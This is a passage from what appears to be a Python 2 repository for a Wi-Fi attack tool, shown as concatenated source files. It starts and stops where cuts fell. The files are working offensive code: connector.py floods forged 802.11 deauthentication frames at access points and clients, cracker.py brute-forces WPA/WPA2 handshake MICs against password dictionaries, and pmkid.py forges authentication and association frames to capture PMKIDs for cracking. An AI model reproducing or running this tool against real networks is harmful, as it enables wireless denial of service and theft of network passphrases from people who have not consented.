binascii.hexlify(pkt.getlayer(Raw).load)[26:90] 103 | mic = binascii.hexlify(pkt.getlayer(Raw).load)[154:186] 104 | if nonce != fNONCE and mic == fMIC: 105 | self.bssid = __sn; self.cl = __rc 106 | self.__POLS[0] = pkt 107 | elif __sn == self.bssid and __rc == self.cl and nonce != fNONCE and mic != fMIC: 108 | self.__POLS[2] = pkt 109 | elif to_DS == True: 110 | nonce = binascii.hexlify(pkt.getlayer(Raw).load)[26:90] 111 | mic = binascii.hexlify(pkt.getlayer(Raw).load)[154:186] 112 | if __sn == self.cl and __rc == self.bssid and nonce != fNONCE and mic != fMIC: 113 | self.__POLS[1] = pkt 114 | elif __sn == self.cl and __rc == self.bssid and nonce == fNONCE and mic != fMIC: 115 | self.__POLS[3] = pkt 116 | 117 | def printing_pass(self, p_pass, c_pass): 118 | len_A, len_B = len(p_pass), len(c_pass) 119 | if len_A != 0: 120 | if len_A > len_B: 121 | return c_pass + ( " "*(len_A - len_B) ) 122 | else: 123 | return c_pass 124 | else: 125 | return c_pass 126 | 127 | def print_back(self): 128 | time.sleep(2) 129 | if self.verbose: 130 | self.pull.up("Cracking %s (%s) %s<>%s %s (%s) %s[%s]%s" % (self.bssid.replace(':', '').upper(), self.pull.DARKCYAN+org(self.bssid).org+self.pull.END, self.pull.RED, self.pull.END, \ 131 | self.cl.replace(':', '').upper(), self.pull.DARKCYAN+org(self.cl).org+self.pull.END, self.pull.GREEN, self.essid, self.pull.END)) 132 | else: 133 | self.pull.up("Cracking %s %s<>%s %s %s[%s]%s" % (self.bssid.replace(':', '').upper(), self.pull.RED, self.pull.END, \ 134 | self.cl.replace(':', '').upper(), self.pull.GREEN, self.essid, self.pull.END)) 135 | 136 | def organize(self): 137 | self.print_back() 138 | self.bssid = binascii.a2b_hex(self.bssid.replace(':', '').lower()) 139 | self.cl = binascii.a2b_hex(self.cl.replace(':', '').lower()) 140 | self.aNONCE = binascii.a2b_hex(binascii.hexlify(self.__POLS[0].getlayer(Raw).load)[26:90]) 141 | self.cNONCE = binascii.a2b_hex(binascii.hexlify(self.__POLS[1].getlayer(Raw).load)[26:90]) 142 | self.key_data = min(self.bssid, self.cl) + max(self.bssid, self.cl) + min(self.aNONCE, self.cNONCE) + max(self.aNONCE, self.cNONCE) 143 | self.mic = binascii.hexlify(self.__POLS[1].getlayer(Raw).load)[154:186] 144 | self.version = chr(self.__POLS[1].getlayer(EAPOL).version) 145 | self.type = chr(self.__POLS[1].getlayer(EAPOL).type) 146 | self.len = chr(self.__POLS[1].getlayer(EAPOL).len) 147 | 148 | self.payload = binascii.a2b_hex(binascii.hexlify(self.version\ 149 | +self.type\ 150 | +self.__NULL_\ 151 | +self.len\ 152 | +binascii.a2b_hex(binascii.hexlify(self.__POLS[1].getlayer(Raw).load)[:154])\ 153 | +self.__NULL_*16\ 154 | +binascii.a2b_hex(binascii.hexlify(self.__POLS[1].getlayer(Raw).load)[186:]))) 155 | 156 | def customPRF512(self, key, A, B): 157 | blen = 64 158 | i = 0 159 | R = '' 160 | while i<=((blen*8+159)/160): 161 | hmacsha1 = hmac.new(key,A+chr(0x00)+B+chr(i),sha) 162 | i+=1 163 | R = R+hmacsha1.digest() 164 | return R[:blen] 165 | 166 | def loop(self): 167 | last_pass__ = '' 168 | for _pass in self.passes: 169 | self.pull.up('Current Password: %s' % self.printing_pass(last_pass__, _pass)); last_pass__ = _pass 170 | _pmk = PBKDF2(_pass, self.essid, 4096).read(32) 171 | _ptk = self.customPRF512(_pmk, "Pairwise key expansion", self.key_data) 172 | _mic = hmac.new(_ptk[0:16], self.payload, hashlib.md5).hexdigest() 173 | _mic_ = hmac.new(_ptk[0:16], self.payload, hashlib.sha1).hexdigest()[:32] 174 | if self.mic == _mic or self.mic == _mic_: 175 | self.pull.use("CRACKED! Key Found %s[%s]%s" % (self.pull.GREEN, _pass, self.pull.END)) 176 | self.pull.right("PMK =>"); print self.hexdump(_pmk) 177 | self.pull.right("PTK =>"); print self.hexdump(_ptk) 178 | self.pull.right("MIC =>"); print self.hexdump(_mic if self.mic == _mic else _mic_) 179 | return 180 | else: 181 | if _pass != self.passes[-1]: 182 | self.pull.lineup() 183 | 184 | class CAPTURE_PMKID: 185 | 186 | __PMKIDS = [] 187 | 188 | def __init__(self, pull, _file, _dict, _V): 189 | self.verbose = _V 190 | self.pull = pull 191 | self.file = _file 192 | self.passes = self.passer(_dict) 193 | self.lines = self.opener(_file) 194 | 195 | def hexdump(self, src, length=16, sep='.'): 196 | DISPLAY = string.digits + string.letters + string.punctuation 197 | FILTER = ''.join(((x if x in DISPLAY else '.') for x in map(chr, range(256)))) 198 | lines = [] 199 | for c in xrange(0, len(src), length): 200 | chars = src[c:c+length] 201 | hex = ' '.join(["%02x" % ord(x) for x in chars]) 202 | if len(hex) > 24: 203 | hex = "%s %s" % (hex[:24], hex[24:]) 204 | printable = ''.join(["%s" % FILTER[ord(x)] for x in chars]) 205 | lines.append("%08x: %-*s |%s|\n" % (c, length*3, hex, printable)) 206 | return ''.join(lines) 207 | 208 | def opener(self, _file): 209 | _read = open(_file, 'r') 210 | _lines = _read.read().splitlines() 211 | _liner = [] 212 | for l in _lines: 213 | _liner.append(l.rstrip('\n')) 214 | return _liner 215 | 216 | def verify(self): 217 | if len(self.lines) <= 0: 218 | return False 219 | else: 220 | for line in self.lines: 221 | if (len(line.split("*")) < 4) or (len(line.split("*")) > 4): 222 | return False 223 | return True 224 | 225 | def hwaddr(self, _addr): 226 | return ':'.join(_addr[i:i+2] for i in range(0,12,2)) 227 | 228 | def passer(self, _dict): 229 | file_ = open(_dict, 'r') 230 | _lines = file_.read().splitlines() 231 | _liner = [] 232 | for l in _lines: 233 | _liner.append(l.rstrip("\n")) 234 | return _liner 235 | 236 | def organize(self): 237 | self.pull.up("Validating Received Captures...") 238 | for l in self.lines: 239 | _eq_ = l.split("*") 240 | _pm, _ap, _cl, _ess = _eq_[0], _eq_[1], _eq_[2], _eq_[3] 241 | self.__PMKIDS.append( (_pm, _ap, _cl, _ess) ) 242 | if self.verbose: 243 | self.pull.info("PMKID %s (%s) %s<>%s %s (%s) %s[RECEIVED]%s" % (_ap.upper(), self.pull.DARKCYAN+org(self.hwaddr(_ap)).org+self.pull.END, self.pull.RED, self.pull.END, \ 244 | _cl.upper(), self.pull.DARKCYAN+org(self.hwaddr(_cl)).org+self.pull.END, self.pull.YELLOW, self.pull.END)) 245 | else: 246 | self.pull.info("PMIID %s %s<>%s %s %s[RECEIVED]%s" % (_ap.upper(), self.pull.RED, self.pull.END, \ 247 | _cl.upper(), self.pull.YELLOW, self.pull.END)) 248 | time.sleep(1) 249 | 250 | def printing_pass(self, p_pass, c_pass): 251 | len_A, len_B = len(p_pass), len(c_pass) 252 | if len_A != 0: 253 | if len_A > len_B: 254 | return c_pass + ( " "*(len_A - len_B) ) 255 | else: 256 | return c_pass 257 | else: 258 | return c_pass 259 | 260 | def loop(self): 261 | time.sleep(2) 262 | for (_pm, _ap, _cl, _ess) in self.__PMKIDS: 263 | if self.verbose: 264 | self.pull.up("Cracking %s (%s) %s<>%s %s (%s) %s[%s]%s" % (_ap.upper(), self.pull.DARKCYAN+org(self.hwaddr(_ap)).org+self.pull.END, self.pull.RED, self.pull.END, \ 265 | _cl.upper(), self.pull.DARKCYAN+org(self.hwaddr(_cl)).org+self.pull.END, self.pull.GREEN, _pm.upper(), self.pull.END)) 266 | else: 267 | self.pull.up("Cracking %s %s<>%s %s %s[%s]%s" % (_ap.upper(), self.pull.RED, self.pull.END, \ 268 | _cl.upper(), self.pull.GREEN, _pm.upper(), self.pull.END)) 269 | 270 | (_pass, _pmk) = self.crack(_pm, _ap, _cl, _ess) 271 | if _pass: 272 | self.pull.use("CRACKED! Key Found %s[%s]%s" % (self.pull.GREEN, _pass, self.pull.END)) 273 | self.pull.right("PMK =>"); print self.hexdump(_pmk) 274 | self.pull.right("PMKID =>"); print self.hexdump(_pm) 275 | else: 276 | self.pull.error("Not Found! Password Not in Dictionary.") 277 | 278 | def crack(self, _pm_, _ap_, _cl_, _ess_): 279 | _last_pass = '' 280 | for _pass in self.passes: 281 | self.pull.up("Currently Checking: %s%s%s" % (self.pull.BLUE, self.printing_pass(_last_pass, _pass), self.pull.END)) 282 | _last_pass = _pass 283 | _pmk = PBKDF2(_pass, binascii.unhexlify(_ess_), 4096).read(32) 284 | _ap = binascii.a2b_hex(_ap_) 285 | _cl = binascii.a2b_hex(_cl_) 286 | _pmk_string = "PMK Name" 287 | _hash = hmac.new(_pmk, _pmk_string+_ap+_cl, hashlib.sha1).hexdigest()[:32] 288 | if _hash == _pm_: 289 | return (_pass, _pmk) 290 | else: 291 | if _pass != self.passes[-1]: 292 | self.pull.lineup() 293 | return (None, None) 294 | 295 | -------------------------------------------------------------------------------- /wireless/connector.py: -------------------------------------------------------------------------------- 1 | from scapy.sendrecv import sniff 2 | from scapy.sendrecv import sendp 3 | from scapy.config import conf 4 | from scapy.layers.dot11 import Dot11 5 | from scapy.layers.dot11 import RadioTap 6 | from scapy.layers.dot11 import Raw 7 | from scapy.layers.dot11 import Dot11Deauth 8 | from scapy.layers.dot11 import Dot11Beacon 9 | from utils import org 10 | import signal 11 | import sys 12 | import time 13 | import threading 14 | import exceptions 15 | import binascii 16 | import os 17 | try: 18 | from scapy.layers.dot11 import EAPOL 19 | except ImportError: 20 | from scapy.layers.eap import EAPOL 21 | 22 | 23 | class DEAUTH: 24 | 25 | __AVAIL = False 26 | __AVAILED = [] 27 | 28 | def __init__(self, _if, _deauth, _ap, _cl, _count, _pull, _v): 29 | self.iface = _if 30 | self.deauth = _deauth 31 | self.ap = _ap 32 | self.cl = _cl 33 | self.count = _count 34 | self.unlimited = True if _count == 0 else False 35 | self.pull = _pull 36 | self.verbose = _v 37 | 38 | def verify(self): 39 | if self.__AVAIL: 40 | return True 41 | else: 42 | return False 43 | 44 | def locate(self): 45 | if not self.ap: 46 | self.__AVAIL = True 47 | return 48 | try: 49 | self.pull.info("Waiting for the Access Point MAC address to receive... [30]") 50 | sniff(iface=self.iface, prn=self.collector, timeout=30) 51 | except ImportError, e: 52 | if str(e) == "!": 53 | self.__AVAIL = True 54 | 55 | def collector(self, pkt): 56 | if pkt.haslayer(Dot11Beacon): 57 | _sn = pkt.getlayer(Dot11).addr2.lower() 58 | if _sn == self.ap: 59 | raise ImportError("!") 60 | 61 | def forge_ap_cl(self): 62 | _pkt_ap = RadioTap() / Dot11(addr1=self.cl, addr2=self.ap, addr3=self.ap) / Dot11Deauth(reason=7) 63 | _pkt_cl = RadioTap() / Dot11(addr1=self.ap, addr2=self.cl, addr3=self.cl) / Dot11Deauth(reason=7) 64 | 65 | if self.unlimited: 66 | while True: 67 | self.flood_ap_cl(_pkt_ap, _pkt_cl) 68 | else: 69 | for _count in range(0, self.count): 70 | self.flood_ap_cl(_pkt_ap, _pkt_cl) 71 | 72 | def flood_ap_cl(self, _pkt_ap, _pkt_cl): 73 | if self.verbose: 74 | self.pull.up("%d %s (%s) %s<>%s %s (%s) %s[DEAUTHENTICATION]%s" % (self.deauth, self.ap.replace(':', '').upper(),\ 75 | self.pull.DARKCYAN+org(self.ap).org+self.pull.END, \ 76 | self.pull.RED, self.pull.END, self.cl.replace(':', '').upper(), \ 77 | self.pull.DARKCYAN+org(self.cl).org+self.pull.END, \ 78 | self.pull.BLUE, self.pull.END )) 79 | else: 80 | self.pull.up("%d %s %s<>%s %s %s[DEAUTHENTICATION]%s" % (self.deauth, self.ap.replace(':', '').upper(),\ 81 | self.pull.RED, self.pull.END, self.cl.replace(':', '').upper(), \ 82 | self.pull.BLUE, self.pull.END )) 83 | 84 | sendp(_pkt_ap, iface=self.iface, count=self.deauth, verbose=False) 85 | sendp(_pkt_cl, iface=self.iface, count=self.deauth, verbose=False) 86 | time.sleep(1) 87 | 88 | def forge_ap(self): 89 | _broadct = "ff:ff:ff:ff:ff:ff" 90 | _pkt_ap = RadioTap() / Dot11(addr1=_broadct, addr2=self.ap, addr3=self.ap) / Dot11Deauth(reason=7) 91 | 92 | if self.unlimited: 93 | while True: 94 | self.flood_ap(_pkt_ap, _broadct) 95 | else: 96 | for _count in range(0, self.count): 97 | self.flood_ap(_pkt_ap, _broadct) 98 | 99 | def flood_ap(self, _pkt, _br): 100 | if self.verbose: 101 | self.pull.up("%d %s (%s) %s<>%s %s (%s) %s[DEAUTHENTICATION]%s" % (self.deauth, self.ap.replace(':', '').upper(),\ 102 | self.pull.DARKCYAN+org(self.ap).org+self.pull.END, \ 103 | self.pull.RED, self.pull.END, _br.replace(':', '').upper(), \ 104 | self.pull.DARKCYAN+org(self.cl).org+self.pull.END, \ 105 | self.pull.BLUE, self.pull.END )) 106 | else: 107 | self.pull.up("%d %s %s<>%s %s %s[DEAUTHENTICATION]%s" % (self.deauth, self.ap.replace(':', '').upper(),\ 108 | self.pull.RED, self.pull.END, _br.replace(':', '').upper(), \ 109 | self.pull.BLUE, self.pull.END )) 110 | sendp(_pkt, iface=self.iface, count=self.deauth, verbose=False) 111 | time.sleep(1) 112 | 113 | def shoot(self, _sn, _rc): 114 | _pkt_ap_to_cl = RadioTap() / Dot11(addr1=_rc, addr2=_sn, addr3=_sn) / Dot11Deauth(reason=7) 115 | _pkt_cl_to_ap = RadioTap() / Dot11(addr1=_sn, addr2=_rc, addr3=_rc) / Dot11Deauth(reason=7) 116 | 117 | sendp(_pkt_ap_to_cl, iface=self.iface, count=self.deauth, verbose=False) 118 | sendp(_pkt_cl_to_ap, iface=self.iface, count=self.deauth, verbose=False) 119 | time.sleep(0.80) 120 | 121 | 122 | def flood_silencer(self, pkt): 123 | if pkt.haslayer(Dot11) and pkt.getlayer(Dot11).type == 2L and not pkt.haslayer(EAPOL): 124 | _sn = pkt.getlayer(Dot11).addr2 125 | _rc = pkt.getlayer(Dot11).addr1 126 | 127 | if self.verbose: 128 | self.pull.up("%d %s (%s) %s<>%s %s (%s) %s[DEAUTHENTICATION]%s" % (self.deauth, _sn.replace(':', '').upper(), self.pull.DARKCYAN+org(_sn).org+self.pull.END, \ 129 | self.pull.RED, self.pull.END, _rc.replace(':', '').upper(), \ 130 | self.pull.DARKCYAN+org(_rc).org+self.pull.END, \ 131 | self.pull.BLUE, self.pull.END)) 132 | else: 133 | self.pull.up("%d %s %s<>%s %s %s[DEAUTHENTICATION]%s" % (self.deauth, _sn.replace(':', '').upper(), \ 134 | self.pull.RED, self.pull.END, _rc.replace(':', '').upper(), \ 135 | self.pull.BLUE, self.pull.END)) 136 | self.shoot(_sn, _rc) 137 | 138 | def flood(self): 139 | sniff(iface=self.iface, prn=self.flood_silencer) 140 | 141 | def jam(self): 142 | if self.ap and self.cl: 143 | self.forge_ap_cl() 144 | elif self.ap and not(self.cl): 145 | self.forge_ap() 146 | else: 147 | self.flood() -------------------------------------------------------------------------------- /wireless/cracker.py: -------------------------------------------------------------------------------- 1 | 2 | from scapy.layers.dot11 import Dot11 3 | from scapy.layers.dot11 import Dot11Beacon 4 | from scapy.layers.dot11 import Raw 5 | from pull import Pully 6 | from pbkdf2 import PBKDF2 7 | from screen import Display 8 | from threading import Thread as threading 9 | import binascii 10 | import hmac 11 | import sha 12 | import hashlib 13 | import sys 14 | import re 15 | import time 16 | import string 17 | try: 18 | from scapy.layers.dot11 import EAPOL 19 | except ImportError: # Support for new versions 20 | from scapy.layers.eap import EAPOL 21 | 22 | pull = Pully() 23 | 24 | class PSK: 25 | 26 | __PSK = '' 27 | __NULL_ = '\x00' 28 | __PKE_ = "Pairwise key expansion" 29 | __CRACKED = (False, '') 30 | 31 | # Cracking Terms 32 | 33 | C_PTK__ = '' 34 | C_PASS__ = '' 35 | C_PMK__ = '' 36 | C_MIC__ = '' 37 | 38 | # Just a line break. Keep things tidy and clean. 39 | 40 | def __init__(self, eapol, essid, enc, dictionary, verbose, key=None): 41 | self.pkt_i = eapol[0] 42 | self.pkt_ii = eapol[1] 43 | self.pkt_iii = eapol[2] 44 | self.pkt_iv = eapol[3] 45 | self.key = key 46 | self.mic = binascii.hexlify(self.pkt_ii.getlayer(Raw).load)[154:186] 47 | self.essid = essid 48 | self.encryption = enc 49 | self.dict = dictionary 50 | self.verbose = verbose 51 | self.d_passes = self.create_d_passes(self.pkt_ii.getlayer(Dot11).addr2) 52 | self.organizer() 53 | 54 | def create_d_passes(self, mac): 55 | list__ = list() 56 | list__.append(mac.replace(':', '').lower()[:8]) 57 | list__.append(mac.replace(':', '').upper()[:8]) 58 | list__.append(mac.replace(':', '').lower()[4:]) 59 | list__.append(mac.replace(':', '').upper()[4:]) 60 | if re.search(r"[0-9]$", mac.replace(':', '').lower()[:8], re.I): 61 | for n in range(0, 10): 62 | if n != int(re.search(r"[0-9]$", mac.replace(':', '').lower()[:8], re.I).group()): 63 | list__.append(mac.replace(':', '').lower()[:8][:-1] + str(n)) 64 | list__.append(mac.replace(':', '').upper()[:8][:-1] + str(n)) 65 | if re.search(r"[0-9]$", mac.replace(':', '').lower()[4:], re.I): 66 | for n in range(0, 10): 67 | if n != int(re.search(r"[0-9]$", mac.replace(':', '').lower()[4:], re.I).group()): 68 | list__.append(mac.replace(':', '').lower()[4:][:-1] + str(n)) 69 | list__.append(mac.replace(':', '').upper()[4:][:-1] + str(n)) 70 | return list__ 71 | 72 | def organizer(self): 73 | self.ap = binascii.a2b_hex(self.pkt_i.getlayer(Dot11).addr2.replace(':','').lower()) 74 | self.cl = binascii.a2b_hex(self.pkt_i.getlayer(Dot11).addr1.replace(':','').lower()) 75 | self.aNONCE = binascii.a2b_hex(binascii.hexlify(self.pkt_i.getlayer(Raw).load)[26:90]) 76 | self.cNONCE = binascii.a2b_hex(binascii.hexlify(self.pkt_ii.getlayer(Raw).load)[26:90]) 77 | self.key_data = min(self.ap, self.cl) + max(self.ap, self.cl) + min(self.aNONCE, self.cNONCE) + max(self.aNONCE, self.cNONCE) 78 | self.version = chr(self.pkt_ii.getlayer(EAPOL).version) 79 | self.type = chr(self.pkt_ii.getlayer(EAPOL).type) 80 | self.len = chr(self.pkt_ii.getlayer(EAPOL).len) 81 | 82 | self.payload = binascii.a2b_hex(binascii.hexlify(self.version\ 83 | +self.type\ 84 | +self.__NULL_\ 85 | +self.len\ 86 | +binascii.a2b_hex(binascii.hexlify(self.pkt_ii.getlayer(Raw).load)[:154])\ 87 | +self.__NULL_*16\ 88 | +binascii.a2b_hex(binascii.hexlify(self.pkt_ii.getlayer(Raw).load)[186:]))) 89 | 90 | self.data = self.version\ 91 | +self.type\ 92 | +self.__NULL_\ 93 | +self.len\ 94 | +self.pkt_ii.getlayer(Raw).load 95 | 96 | def customPRF512(self, key, A, B): 97 | blen = 64 98 | i = 0 99 | R = '' 100 | while i<=((blen*8+159)/160): 101 | hmacsha1 = hmac.new(key,A+chr(0x00)+B+chr(i),sha) 102 | i+=1 103 | R = R+hmacsha1.digest() 104 | return R[:blen] 105 | 106 | def hash(self, pass__): 107 | pmk__ = PBKDF2(pass__, self.essid, 4096).read(32) 108 | ptk__ = self.customPRF512(pmk__, self.__PKE_, self.key_data) 109 | #if self.encryption == 'WPA': 110 | mic__ = hmac.new(ptk__[0:16], self.payload, hashlib.md5).digest() 111 | #elif self.encryption == 'WPA2': 112 | mic___ = hmac.new(ptk__[0:16], self.payload, hashlib.sha1).digest() 113 | if self.mic == binascii.hexlify(mic__): 114 | self.__CRACKED = (True, pass__) 115 | return (pmk__, ptk__, mic__) 116 | elif self.mic == binascii.hexlify(mic___)[:32]: 117 | self.__CRACKED = (True, pass__) 118 | return (pmk__, ptk__, mic___) 119 | else: 120 | return (pmk__, ptk__, mic__) 121 | 122 | def printing_pass(self, p_pass, c_pass): 123 | len_A, len_B = len(p_pass), len(c_pass) 124 | if len_A != 0: 125 | if len_A > len_B: 126 | return c_pass + ( " "*(len_A - len_B) ) 127 | else: 128 | return c_pass 129 | else: 130 | return c_pass 131 | 132 | def pass_list(self): 133 | _list_ = [] 134 | if self.key is None: 135 | file__ = open(self.dict, 'r') 136 | _list_ = self.d_passes+file__.readlines() 137 | file__.close() 138 | else: 139 | for key in self.key.split(','): 140 | _list_.append(key) 141 | return _list_ 142 | 143 | def broot(self, screen=None): 144 | last_pass__, self._count_, pass_list = '', 0, [] 145 | pass_list = self.pass_list() 146 | 147 | for pass__ in pass_list: 148 | 149 | self.C_PMK__, self.C_PTK__, self.C_MIC__ = self.hash(pass__.rstrip('\n')) 150 | self.C_PASS__, self._count_ = pass__.rstrip('\n'), self._count_+1 151 | 152 | pull.up('Current Password: %s' % self.printing_pass(last_pass__, pass__.rstrip('\n'))); last_pass__ = pass__.rstrip('\n') 153 | 154 | if self.__CRACKED[0] == True: 155 | return (self.__CRACKED[1], self.hexdump(self.C_PMK__), \ 156 | self.hexdump(self.C_PTK__), self.hexdump(self.C_MIC__)) 157 | else: 158 | if not len(pass_list) == self._count_: 159 | pull.lineup() 160 | 161 | return (self.__CRACKED[1], '', '', '') 162 | 163 | def hexdump(self, src, length=16, sep='.'): 164 | DISPLAY = string.digits + string.letters + string.punctuation 165 | FILTER = ''.join(((x if x in DISPLAY else '.') for x in map(chr, range(256)))) 166 | lines = [] 167 | for c in xrange(0, len(src), length): 168 | chars = src[c:c+length] 169 | hex = ' '.join(["%02x" % ord(x) for x in chars]) 170 | if len(hex) > 24: 171 | hex = "%s %s" % (hex[:24], hex[24:]) 172 | printable = ''.join(["%s" % FILTER[ord(x)] for x in chars]) 173 | lines.append("%08x: %-*s |%s|\n" % (c, length*3, hex, printable)) 174 | return ''.join(lines) 175 | 176 | class eAPoL: 177 | 178 | __EAPOLS = [0, 0, 0, 0] 179 | 180 | def __init__(self, bss): 181 | self.bssid = bss 182 | 183 | def check(self, pkt): 184 | fNONCE = "0000000000000000000000000000000000000000000000000000000000000000" 185 | fMIC = "00000000000000000000000000000000" 186 | 187 | if pkt.haslayer(EAPOL): 188 | __sn = pkt[Dot11].addr2 189 | __rc = pkt[Dot11].addr1 190 | to_DS = pkt.getlayer(Dot11).FCfield & 0x1 !=0 191 | from_DS = pkt.getlayer(Dot11).FCfield & 0x2 !=0 192 | 193 | if __sn == self.bssid: 194 | tgt = __rc 195 | elif __rc == self.bssid: 196 | tgt = __sn 197 | else: 198 | return 199 | 200 | if from_DS == True: 201 | nonce = binascii.hexlify(pkt.getlayer(Raw).load)[26:90] 202 | mic = binascii.hexlify(pkt.getlayer(Raw).load)[154:186] 203 | if __sn == self.bssid and __rc == tgt and nonce != fNONCE and mic == fMIC: 204 | self.__EAPOLS[0] = pkt 205 | elif __sn == self.bssid and __rc == tgt and nonce != fNONCE and mic != fMIC: 206 | self.__EAPOLS[2] = pkt 207 | elif to_DS == True: 208 | nonce = binascii.hexlify(pkt.getlayer(Raw).load)[26:90] 209 | mic = binascii.hexlify(pkt.getlayer(Raw).load)[154:186] 210 | if __sn == tgt and __rc == self.bssid and nonce != fNONCE and mic != fMIC: 211 | self.__EAPOLS[1] = pkt 212 | elif __sn == tgt and __rc == self.bssid and nonce == fNONCE and mic != fMIC: 213 | self.__EAPOLS[3] = pkt 214 | 215 | if 0 not in self.__EAPOLS: 216 | return True 217 | else: 218 | return False 219 | 220 | def get_pols(self): 221 | return tuple(self.__EAPOLS) -------------------------------------------------------------------------------- /wireless/pmkid.py: -------------------------------------------------------------------------------- 1 | from scapy.layers.dot11 import Dot11 2 | from scapy.layers.dot11 import Raw 3 | from scapy.layers.dot11 import Dot11Auth 4 | from scapy.layers.dot11 import Dot11AssoReq 5 | from scapy.layers.dot11 import Dot11AssoResp 6 | from scapy.layers.dot11 import RadioTap 7 | from scapy.layers.dot11 import Dot11Elt 8 | from scapy.sendrecv import sniff 9 | from scapy.sendrecv import sendp 10 | from utils.macers import org 11 | from pbkdf2 import PBKDF2 12 | from utils import org 13 | from scapy.arch import get_if_raw_hwaddr 14 | try: 15 | from scapy.layers.eap import EAPOL 16 | except: 17 | from scapy.layers.dot11 import EAPOL 18 | import threading 19 | import time 20 | import binascii 21 | import hmac 22 | import re 23 | import hashlib 24 | import string 25 | import sys 26 | 27 | class PMKID: 28 | 29 | __AUTH_STATUS = False 30 | __AUTH_STEP = False 31 | 32 | __ASSO_STATUS = False 33 | __ASSO_STEP = False 34 | 35 | __EAPOL = 0 36 | 37 | __M_PLACED = False 38 | 39 | def __init__(self, ap, essid, iface, beacon, _dict, passwords, pull, verbose, nframes): 40 | self.iface = iface 41 | self.essid = essid 42 | self.ap = ap 43 | self.cl = self.get_my_addr(self.iface) 44 | self.d_passes = self.comp_mac_passes(self.ap) 45 | self.beacon = beacon 46 | self.dict = _dict 47 | self.passwords = passwords 48 | self.pull = pull 49 | self.verbose = verbose 50 | self.retry_limit = 40 51 | self._randn = 1 52 | self._nframes = nframes 53 | self.auth = self.auth_frame_blueprint(self.ap, self.cl) 54 | self.asso = self.asso_frame_blueprint(self.ap, self.cl) 55 | 56 | def get_my_addr(self, iface): 57 | family, hwaddr = get_if_raw_hwaddr(iface) 58 | hwaddr = binascii.hexlify(hwaddr) 59 | hwaddr = ':'.join(hwaddr[i:i+2] for i in range(0,12,2)) 60 | return hwaddr 61 | 62 | def hexdump(self, src, length=16, sep='.'): 63 | DISPLAY = string.digits + string.letters + string.punctuation 64 | FILTER = ''.join(((x if x in DISPLAY else '.') for x in map(chr, range(256)))) 65 | lines = [] 66 | for c in xrange(0, len(src), length): 67 | chars = src[c:c+length] 68 | hex = ' '.join(["%02x" % ord(x) for x in chars]) 69 | if len(hex) > 24: 70 | hex = "%s %s" % (hex[:24], hex[24:]) 71 | printable = ''.join(["%s" % FILTER[ord(x)] for x in chars]) 72 | lines.append("%08x: %-*s |%s|\n" % (c, length*3, hex, printable)) 73 | return ''.join(lines) 74 | 75 | def enumerate_asso_fields(self, pkt): 76 | elts = pkt.getlayer(Dot11Elt) 77 | __data, count = {}, 0 78 | 79 | try: 80 | while isinstance(elts[count], Dot11Elt): 81 | if elts[count].ID == 0 or elts[count].ID == 1 or elts[count].ID == 48 or elts[count].ID == 5 or elts[count].ID == 50 or elts[count].ID == 221: #ESSID #Rates 82 | __data[ elts[count].ID ] = {'ID': elts[count].ID, 'len': elts[count].len, 'info': elts[count].info} 83 | count += 1 84 | except IndexError: 85 | pass 86 | 87 | return __data 88 | 89 | def auth_frame_blueprint(self, ap, cl): 90 | return RadioTap() / Dot11(addr1=ap, addr2=cl, addr3=ap) / Dot11Auth(seqnum=1) 91 | 92 | def form_asso_layers(self, efields, _pkt): 93 | _st_layer = _pkt 94 | for fie, val in efields.items(): 95 | if fie == 0 or fie == 1 or fie == 5 or fie == 48 or fie ==50 or fie == 221: 96 | _st_layer = _st_layer / Dot11Elt(ID=val['ID'], len=val['len'], info=val['info']) 97 | return _st_layer 98 | 99 | def asso_frame_blueprint(self, ap, cl): 100 | capibility = self.beacon.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}") 101 | efields = self.enumerate_asso_fields(self.beacon) 102 | _pkt = RadioTap() / Dot11(addr1=ap, addr2=cl, addr3=ap) / Dot11AssoReq(cap=capibility, listen_interval=3) 103 | return self.form_asso_layers(efields, _pkt) 104 | 105 | def auth_sniffer(self, iface): 106 | try: 107 | self.__AUTH_STATUS = True 108 | sniff(iface=iface, prn=self.get_auth_resp) 109 | except ValueError: 110 | pass 111 | finally: 112 | self.__AUTH_STATUS = False 113 | 114 | def get_auth_resp(self, pkt): 115 | if pkt.haslayer(RadioTap): 116 | if pkt.haslayer(Dot11Auth): 117 | sn = pkt.getlayer(Dot11).addr2.replace(':', '') 118 | rc = pkt.getlayer(Dot11).addr1.replace(':', '') 119 | if rc == self.cl.replace(':', '') and sn == self.ap.replace(':', ''): 120 | if self.verbose: 121 | self.pull.info("Received %s (%s) %s<%s %s (%s) %s[Open Authentication]%s" % \ 122 | (self.cl.replace(':', '').upper(), self.pull.DARKCYAN+org(self.cl).org+self.pull.END, self.pull.RED, self.pull.END, self.ap.replace(':', '').upper(),\ 123 | self.pull.DARKCYAN+org(self.ap).org+self.pull.END, self.pull.YELLOW, self.pull.END)) 124 | self.pull.info("Authentication %s (%s) %s>%s %s (%s) %s[SuccessFull]%s" % \ 125 | (self.ap.replace(':', '').upper(), self.pull.DARKCYAN+org(self.ap).org+self.pull.END, self.pull.RED, self.pull.END, self.cl.replace(':', '').upper(),\ 126 | self.pull.DARKCYAN+org(self.cl).org+self.pull.END, self.pull.GREEN, self.pull.END)) 127 | else: 128 | self.pull.info("Received %s %s<%s %s %s[Open Authentication]%s" % (self.cl.replace(':', '').upper(), self.pull.RED, self.pull.END,\ 129 | self.ap.replace(':', '').upper(), self.pull.YELLOW, self.pull.END)) 130 | self.pull.info("Authentication %s %s>%s %s %s[SuccessFull]%s" % \ 131 | (self.ap.replace(':', '').upper(), self.pull.RED, self.pull.END, self.cl.replace(':', '').upper(),\ 132 | self.pull.GREEN, self.pull.END)) 133 | 134 | self.__AUTH_STEP = bool(1) 135 | raise ValueError 136 | 137 | def dev_conn(self): 138 | auth_catcher = threading.Thread(target=self.auth_sniffer, args=(self.iface,), name="Authentication Catcher") 139 | auth_catcher.daemon = True 140 | auth_catcher.start() 141 | 142 | while not self.__AUTH_STEP: 143 | self._randn_(3) 144 | if self.verbose: 145 | self.pull.up("%i Frames %s (%s) %s>%s %s (%s) %s[Open Authentication]%s" % \ 146 | (self._randn, self.cl.replace(':', '').upper(), self.pull.DARKCYAN+org(self.cl).org+self.pull.END, self.pull.RED, self.pull.END,\ 147 | self.ap.replace(':', '').upper(), self.pull.DARKCYAN+org(self.ap).org+self.pull.END, self.pull.BLUE, self.pull.END)) 148 | else: 149 | self.pull.up("%i Frames %s %s>%s %s %s[Open Authentication]%s" % (self._randn, self.cl.replace(':', '').upper(), self.pull.RED, self.pull.END,\ 150 | 